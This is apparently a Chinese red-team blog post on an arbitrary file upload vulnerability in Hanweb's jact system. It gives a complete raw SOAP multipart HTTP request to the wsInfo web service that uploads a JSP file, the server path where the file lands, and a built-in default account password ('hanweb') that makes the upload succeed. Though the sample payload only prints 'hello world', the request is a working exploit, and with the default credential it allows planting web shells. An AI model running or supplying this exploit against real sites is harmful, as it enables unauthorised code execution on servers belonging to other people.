在护网的时候,许多目标都用大汉jact这套系统。根据“小道消息”说是有最新的任意文件上传!
漏洞分析
这个问题在2014年5月12号的时候在乌云上提交过,8月10号公开出来的。根据乌云描述(jact的该操作又有所不同,区别还是在用户验证上,jact中最后查询用户名密码的时候是用hibernate预处理,目测不能绕过,只有提供正确用户名密码才能上传。
)来看关键是需要正确的用户密码。而最近这个说的任意文件上传关键点在于系统内置的默认用户。如果手头上有大汉老版本的,可以查看对应用户表即可成功利用该漏洞
jact/services/wsinfo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| POST /jsearch/webservice/wsInfo HTTP/1.0 Content-Type: multipart/related; type="text/xml"; start="<CB69CE057274B576D4C44A9112AE8DE8>"; boundary="----=_Part_0_9532399.1399678337692" Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.2 Host: target.com Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 1084 ------=_Part_0_9532399.1399678337692 Content-Type: text/xml; charset=UTF-8 Content-Transfer-Encoding: binary Content-Id: <CB69CE057274B576D4C44A9112AE8DE8>
<?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Body> <ns1:receivefile soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://target.com/jsearch/webservice/wsInfo"> <strLoginId xsi:type="xsd:string"></strLoginId> <strPwd xsi:type="xsd:string"></strPwd> <strKey xsi:type="xsd:string"></strKey> <handler href="cid:1AA0D9D06D1918F13C495E8419BE26EB" xsi:type="ns2:DataHandler" xmlns:ns2="ns:FileUploadHandler"/> <fileName xsi:type="xsd:string">test.jsp</fileName> <iState xsi:type="xsd:int">0</iState> </ns1:receivefile> </soapenv:Body> </soapenv:Envelope>
------=_Part_0_9532399.1399678337692 Content-Type: text/plain Content-Transfer-Encoding: binary Content-Id: <1AA0D9D06D1918F13C495E8419BE26EB>
<%="hello world!"%> ------=_Part_0_9532399.1399678337692--
|
上传成功之后,具体落地路径为:jact/main/jact/commonuser/transact/temp/Data/test.jsp
其中Data为当前年月,例如:20XXXX
解密
默认存在某个用户,密码为hanweb。